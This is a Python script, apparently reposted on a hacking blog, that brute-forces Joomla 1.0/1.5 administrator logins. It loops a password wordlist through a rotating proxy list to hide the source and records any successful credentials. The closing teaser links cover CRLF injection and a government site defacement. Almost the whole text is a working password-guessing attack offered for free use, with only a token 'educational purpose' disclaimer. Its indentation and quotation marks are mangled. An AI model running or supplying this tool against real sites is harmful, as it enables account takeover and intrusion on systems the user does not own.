#!/usr/bin/python
# Joomla Administrator Login BruteForcer for v1.0 and v1.5

# Feel free to do whatever you want with this code!
# Share the c0de!

# Darkc0de Team
# www.darkc0de.com
# rsauron[at]gmail[dot]com

# Greetz to
# d3hydr8, P47r1ck, Tarsian, c0mrade, reverenddigitalx
# and everyone at darkc0de

# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
# Intended for authorized Web Application Pen Testing!

# BE WARNED, THIS TOOL IS VERY LOUD..

import urllib, sys, re, os, socket, httplib, urllib2, time

#determine platform
if sys.platform == ‘linux-i386’ or sys.platform == ‘linux2’ or sys.platform == ‘darwin’:
SysCls = ‘clear’
elif sys.platform == ‘win32’ or sys.platform == ‘dos’ or sys.platform[0:5] == ‘ms-dos’:
SysCls = ‘cls’
else:
SysCls = ‘unknown’

#say hello
os.system(SysCls)
if len(sys.argv) <= 1:
print “\n|———————————————-|”
print “| rsauron[@]gmail[dot]com v1.0 |”
print “| 7/2008 joomlabrute.py |”
print “| – Joomla Administrator Panel BruteForcer |”
print “| Usage: joomlabrute.py [options] |”
print “| -h help darkc0de.com |”
print “|———————————————-|\n”
sys.exit(1)

#define varablies
site = “”
dbt = “joomlabrutelog.txt”
proxy = “None”
arg_words = “”
arg_user = “admin”
arg_verbose = “None”
count = 0
gets = 0

#help option
for arg in sys.argv:
if arg == “-h”:
print “\n Usage: ./joomlabrute.py [options] rsauron[@]gmail[dot]com darkc0de.com”
print “\n\tRequired:”
print “\tDefine: -u www.site.com/administrator/”
print “\tDefine: -w words.txt”
print “\n\tOptional:”
print “\tDefine: -user \”jorge\” Default:admin”
print “\tDefine: -p \”127.0.0.1:80 or proxy.txt\””
print “\tDefine: -o \”ouput_file_name.txt\” Default:joomlabrutelog.txt”
print “\tDefine: -v Verbose Mode”
print “\n Ex: ./blindext.py -u \”www.site.com/administrator/\” -w words.txt -v -o site.txt”
print ” Ex: ./blindext.py -u \”www.site.com/administrator/\” -w words.txt -user jorge -p 127.0.0.1:8080\n”
sys.exit(1)

#Check args
for arg in sys.argv:
if arg == “-u”:
site = sys.argv[count+1]
elif arg == “-o”:
dbt = sys.argv[count+1]
elif arg == “-p”:
proxy = sys.argv[count+1]
elif arg == “-w”:
arg_words = sys.argv[count+1]
elif arg == “-user”:
arg_user = sys.argv[count+1]
elif arg == “-v”:
arg_verbose = sys.argv
count+=1

#Title write
file = open(dbt, “a”)
print “\n|———————————————-|”
print “| rsauron[@]gmail[dot]com v1.0 |”
print “| 7/2008 joomlabrute.py |”
print “| – Joomla Administrator Panel BruteForcer |”
print “| Usage: joomlabrute.py [options] |”
print “| -h help darkc0de.com |”
print “|———————————————-|”
file.write(“\n\n|———————————————-|”)
file.write(“\n| rsauron[@]gmail[dot]com v1.0 |”)
file.write(“\n| 7/2008 joomlabrute.py |”)
file.write(“\n| – Joomla Administrator Panel BruteForcer |”)
file.write(“\n| Usage: joomlabrute.py [options] |”)
file.write(“\n| -h help darkc0de.com |”)
file.write(“\n|———————————————-|\n”)

#Arg Error Checking
if site == “”:
print “[-] Must include -u flag.”
print “[-] For help -h\n”
sys.exit(1)
if arg_words == “”:
print “[-] Must include -w flag.”
print “[-] For help -h\n”
sys.exit(1)
if proxy != “None”:
if len(proxy.split(“.”)) == 2:
proxy = open(proxy, “r”).read()
if proxy.endswith(“\n”):
proxy = proxy.rstrip(“\n”)
proxy = proxy.split(“\n”)
if site[:7] != “http://”:
site = “http://”+site

#Build proxy list
socket.setdefaulttimeout(10)
proxy_list = []
if proxy != “None”:

file.write(“[+] Building Proxy List…”)
print “[+] Building Proxy List…”
for p in proxy:
try:
proxy_handler = urllib2.ProxyHandler({‘http’: ‘http://’+p+’/’})
opener = urllib2.build_opener(proxy_handler)
opener.open(“http://www.google.com”)
opener.addheaders = [(‘User-agent’, ‘Mozilla/5.0’)]
proxy_list.append(opener)
file.write(“\n\tProxy:”+p+”- Success”)
print “\tProxy:”,p,”- Success”
except:
file.write(“\n\tProxy:”+p+”- Failed”)
print “\tProxy:”,p,”- Failed”
pass
if len(proxy_list) == 0:
print “[-] All proxies have failed. App Exiting”
file.write(“\n[-] All proxies have failed. App Exiting\n”)
sys.exit(1)
print “[+] Proxy List Complete”
file.write(“[+] Proxy List Complete”)
else:
print “[-] Proxy Not Given”
file.write(“[+] Proxy Not Given”)
proxy_list.append(urllib2.build_opener())
proxy_num = 0
proxy_len = len(proxy_list)

#here we go
print “[+] BruteForcing:”,site
print “[+] Username:”,arg_user
file.write(“\n[+] BruteForcing:”+str(site))
file.write(“\n[+] Username:”+str(arg_user))
try:
words = open(arg_words, “r”).readlines()
print “[+] Words Loaded:”,len(words)
words_len = len(words)
file.write(“\n[+] Words Loaded: “+str(words_len))
except(IOError):
print “[-] Error: Check your wordlist path\n”
sys.exit(1)
print “[+] [%s]” % time.strftime(“%X”)
file.write(“\n[+] [%s]” % time.strftime(“%X”))
for word in words:
word = word.replace(“\r”,””).replace(“\n”,””)
login_form_seq = [
(‘usrname’, arg_user),
(‘pass’, word),
(‘submit’, ‘Login’)]
login_form_data = urllib.urlencode(login_form_seq)
while 1:
try:
gets+=1
proxy_num+=1
site_get = proxy_list[proxy_num % proxy_len].open(site, login_form_data).read()
break
except (KeyboardInterrupt, SystemExit):
raise
except:
pass
#See where it says Username… change this to whatever your getting back on a incorrect login
if re.search(“Username”,site_get) == None:
print “\n\t[!] Login Successfull:”,arg_user+”:”+word
file.write(“\n\n\t[!] Login Successfull: “+str(arg_user)+”:”+str(word))
break
else:
if arg_verbose != “None”:
print “[-] Login Failed:”,word
file.write(“\n[-] Login Failed:”+str(word))

#Lets wrap it up!
print “\n[-] [%s]” % time.strftime(“%X”)
print “[-] Total URL Requests”,gets
file.write(“\n\n[-] [%s]” % time.strftime(“%X”))
file.write(“\n[-] Total URL Requests “+str(gets))
print “[-] Done\n”
file.write(“\n[-] Done\n”)
print “Don’t forget to check”, dbt,”\n”
file.close()

Explore More

CRLF Injection

CRLF Injection Overview CRLF Injection is typically used in HTTP Response Splitting. In the HTTP specification there is a spec stating that the HTTP header is to be split from

Burmese Hackers Hacked Georgia Government’s Web www.moh.gov.ge

Burmese Hackers Group! Named (“BurmeseHackers” or “UnderGround Hackers Group @ ughackersgroup{at}gmail.com”), Hacked Georgia Gorvernment’s Web  www.moh.gov.ge , Really rare event, cos i’ve never heard about this hackers group before! They

How Can You Protect Yourself from Google Hacking?

The first step for protecting yourself from something is knowing how that something works. In the case of Google hacking, you will have to learn how it can be used